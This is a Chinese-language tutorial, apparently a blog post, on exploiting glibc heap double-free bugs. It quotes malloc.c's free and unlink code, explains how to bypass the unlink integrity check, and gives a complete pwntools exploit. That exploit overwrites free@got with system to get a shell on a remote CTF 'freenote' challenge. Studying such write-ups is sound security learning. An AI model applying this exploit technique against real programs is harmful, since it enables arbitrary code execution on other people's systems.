Linux堆漏洞之Double free

0x00. 前言

很久之前学习了Linux堆漏洞Double free,一直没时间写下学习体会。今天有时间记录下,如有错误,欢迎斧正。本文主要介绍Linux下堆漏洞Double free的利用原理与实践。所谓的Double free是指:同一个指针指向的内存被free两次。

0x01. Glibc背景知识

Linux下堆分配器主要由两个结构管理堆内存,一种是堆块头部形成的隐式链表,另一种是管理空闲堆块的显式链表(Glibc中的bins数据结构)。关于bins的介绍已经有很多,就不赘述了。接下来介绍一下Linux下Double free漏洞原理以及free函数的堆块合并过程。

Double free漏洞原理: free函数在释放堆块时,会通过隐式链表判断相邻前、后堆块是否为空闲堆块;如果堆块为空闲就会进行合并,然后利用Unlink机制将该空闲堆块从Unsorted bin中取下。如果用户精心构造的假堆块被Unlink,很容易导致一次固定地址写,然后转换为任意地址读写,从而控制程序的执行。

Linux free函数原理
由堆块头部形成的隐式链表可知,一个需释放堆块相邻的堆块有两个:前一个块(由当前块头指针加pre_size确定),后一个块(由当前块头指针加size确定)。从而,在合并堆块时会存在两种情况:向后合并向前合并。当前一个块和当前块合并时,叫做向后合并。当后一个块和当前块合并时,叫做向前合并。
相关代码
malloc.c int_free函数中相关代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s) ((mchunkptr) (((char \*) (p)) + (s)))
/* check/set/clear inuse bits in known places */
#define inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char \*) (p)) + (s)))->size & PREV_INUSE)

_int_free (mstate av, mchunkptr p, int have_lock)
{
...
/* consolidate backward \*/ // "向后合并"
if (!prev_inuse(p)) { //如果前一个块为空闲,则进行合并
prevsize = p->prev_size; //获得前一个块大小
size += prevsize; //合并后堆块大小
p = chunk_at_offset(p, -((long) prevsize)); //根据当前块指针和前一个块大小,确定前一个块位置,即合并后块位置
unlink(av, p, bck, fwd); //利用unlink从显式链表Unsorted bin取下前一个块
}

nextchunk = chunk_at_offset(p, size); //根据当前块指针和当前块大小, 确定后一个块位置,
nextsize = chunksize(nextchunk); //获得后一个块大小
nextinuse = inuse_bit_at_offset(nextchunk, nextsize); //根据下一个块的下一个块的PREV_INUSE位,判断下一个块是否空闲
/* consolidate forward \*/ // "向前合并"
if (!nextinuse) { //如果后一个块为空闲,则进行合并
unlink(av, nextchunk, bck, fwd); //使用unlink将后一个块从unsorted bin中取下
size += nextsize; //扩大当前块大小即可完成向前合并
} else
clear_inuse_bit_at_offset(nextchunk, 0);
...
}

unlink 宏中主要的操作如下:
注意:此处的fd、bk指的是显式链表bins中的前一个块和后一个块,与合并块时的隐式链表中的前一个块和后一个块不同
#define unlink(AV, P, BK, FD) {
FD = P->fd; //获取显式链表中前一个块 FD
BK = P->bk; //获取显示链表中后一个块 BK
FD->bk = BK; //设置FD的后一个块
BK->fd = FD; //设置BK的前一个块
}

//由于unlink的危险性,添加了一些检测机制,完整版unlink宏如下
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) { \
FD = P->fd; \
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
else { \
FD->bk = BK; \
BK->fd = FD; \
if (!in_smallbin_range (P->size) \
&&__builtin_expect (P->fd_nextsize != NULL, 0)) { \
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr (check_action, \
"corrupted double-linked list (not small)", \
P, AV); \
if (FD->fd_nextsize == NULL) { \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else { \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} else { \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}

0x02. Double free漏洞利用原理

以64位应用为例:如果在free一个指针指向的块时,由于堆溢出,将后一个块的块头改成如下格式:
fake_prevsize1 = 被释放块大小;
fake_size1 = 0x20 | 1 (fake_size1 = 0x20)
fake_fd = free@got.plt - 0x18
fake_bk = shellcode address
fake_prevsize2 = 0x20
fake_size2 = 0x10
如下图:
如果chunk0被释放(fake_size1 = 0x21),进行空闲块合并时,1)由于前一个块非空闲,不会向后合并。2)根据chunk2判断后一个块chunk1空闲,向前合并,导致unlink。
如果chunk1被释放(fake_size1 = 0x20),进行空闲块合并时,1)由于前一个块空闲,向后合并,导致unlink。2)根据chunk2判断后一个块chunk1空闲,向前合并,导致unlink。
根据unlink宏知道, 前一个块 FD 指向 free@got.plt - 0x18, 后一个块 BK 指向 shellcode address。然后前一个块 FD 的bk指针即free@got.plt,值为shellcode address, 后一个块 BK 的 fd 指针即shellcode + 0x10,值为 free@got.plt。从而实现了一次固定地址写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
High    |----------------|
| fake_size2 |
|----------------|
| fake_prevsize2 |
|----------------| chunk2 pointer
| fake_bk |
|----------------|
| fake_fd |
|----------------| chunk1 malloc returned pointer
| fake_size1 |
|----------------|
| fake_prevsize1 |
|----------------| chunk1 pointer
| ...... |
| padding |
| ...... |
|----------------|
| fake_bk |
|----------------|
| fake_fd |
|----------------| chunk0 malloc returned pointer
| size |
|----------------|
| prev_size |
Low |----------------| chunk0 pointer

但是,由于当前glibc的加固检测机制,会检查显式链表中前一个块的fd与后一个块的bk是否都指向当前需要unlink的块。这样攻击者就无法替换chunk1(或chunk0)的fd与bk。相关代码如下:

1
2
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      \
malloc_printerr (check_action, "corrupted double-linked list", P, AV)

针对这种情况,需要在内存中找到一个指向需要unlink块的指针,就可以绕过。

0x03. Double free漏洞利用实例

下面以64位的freenote为例,介绍下Double free漏洞的利用。
该freenote存在两个漏洞:一个是在建立新note的时候在note的结尾处没有加”\x00”,因此会造成堆栈地址泄露;另一个漏洞就是在delete note时,没有检测这个note是否已经被删除过了,可以删除一个note两遍,造成double free。
利用思路:
(1) 泄漏libc.so地址,通过新建两个note,然后删除一个note,再新建一个note,泄漏glibc中main_arena.top的地址,然后根据偏移计算其他地址。
(2) 泄漏heap地址,让某个非使用中chunk的fd栏位指向另一个 chunk,并且让note的内容拼接上,就可以把chunk在堆上的位置给泄漏出来。
(3) 触发unlink机制,并布置参数,导致一次固定地址写。由于申请的堆长度和地址放在bss段,因此可以将fake_fd地址指向 bss第一个堆基址 - 0x18,fake_bk地址指向 bss第一个堆基址 - 0x10,就可以绕过unlink检测机制。
(4) 对任意地址读写,覆盖free@got.plt为system地址。
漏洞利用代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
#!/usr/bin/env python

from pwn import *

DEBUG = 0
if DEBUG:
# context.log_level ='debug'
p = process('./freenote_x64')
gdb.attach(p, 'b *0x40106a \n b *0x400edc')
else:
# context.log_level ='debug'
p = remote("pwn2.jarvisoj.com", 9886)

def list_post():
p.recvuntil('Your choice: ')
p.sendline('1')

def new_post(l, c):
p.recvuntil('Your choice: ')
p.sendline('2')
p.recvuntil('new note: ')
p.sendline(str(l))
p.recvuntil('Enter your note: ')
p.sendline(c)

def edit_post(n, l, c):
p.recvuntil('Your choice: ')
p.sendline('3')
p.recvuntil('Note number: ')
p.sendline(str(n))
p.recvuntil('Length of note: ')
p.sendline(str(l))
p.recvuntil('Enter your note: ')
p.sendline(c)

def delete_post(n):
p.recvuntil('Your choice: ')
p.sendline('4')
p.recvuntil('Note number: ')
p.sendline(str(n))

def exp():
free_got = 0x602018
# 1.leak glibc address,then caculate system and '/bin/sh' address
new_post(8, 'a'*7)
new_post(8, 'b'*7)
delete_post(0)
new_post(8, 'c'*7)

list_post()
p.recvuntil('\n')
# arena_addr = u64(p.recv(6).ljust(8,'\x00'))
leak_a = p.recvuntil('\n')
arena_addr = u64(leak_a[0:-1].ljust(8,'\x00'))

if DEBUG:
system_addr = arena_addr - (0x3c3b68 - 0x45380) #local offset
else:
system_addr = arena_addr - (0x3be7b8 - 0x46590) #remote offset
# print 'system_adddr %x' % system_addr
delete_post(0)
delete_post(1)

# 2.leak heap chunk base
new_post(8, 'a'*7)
new_post(8, 'b'*7)
new_post(8, 'c'*7)
new_post(8, 'd'*7)
delete_post(2)
delete_post(0)
edit_post(1, 0x98, 'A'*0x97)
list_post()
p.recvuntil('1. AA')
p.recvuntil('\n')
leak = p.recvuntil('\n')
heap_addr = u64(leak[0:-1].ljust(8,'\x00'))
# print 'heap base %x' % heap_addr
delete_post(1)
delete_post(3)

# 3.construct fake heap
new_post(8, 'A'*7)
new_post(8, 'B'*7)
new_post(8, 'C'*7)
delete_post(1)

fake_pre_size = 0xa1
fake_size = 0x81
fd = heap_addr - 0x17f0 - 0x18
bk = heap_addr - 0x17f0 - 0x10
payload1 = p64(fake_pre_size) + p64(fake_size) + p64(fd) + p64(bk)
payload1 += 'A' * 0x60 + p64(0x80) + p64(0xa0)

payload2 = p64(0xa0) + p64(0x21) + 'A' *0x10 + p64(0x20) + p64(0x51)

edit_post(0, 0x91, payload1)
edit_post(2, 0x31, payload2)
delete_post(1)

# 4. overwrite free@got
payload3 = p64(0x1) + p64(0x1) + p64(0x8) + p64(free_got)
payload3 += p64(0) + p64(0x0) + p64(0x0)
payload3 += p64(1)+ p64(0x8) + p64(heap_addr - 0x17b8) + '/bin/sh\n'
payload3 = payload3.ljust(0x90, '\x00')
edit_post(0, 0x91, payload3)
# raw_input('system(binsh)')
edit_post(0, 0x8, p64(system_addr))
delete_post(2)
p.interactive()

if __name__ == '__main__':
exp()

0x04. 参考文献

1. Linux堆溢出漏洞利用之unlink
2. 一步一步学ROP之gadgets和2free篇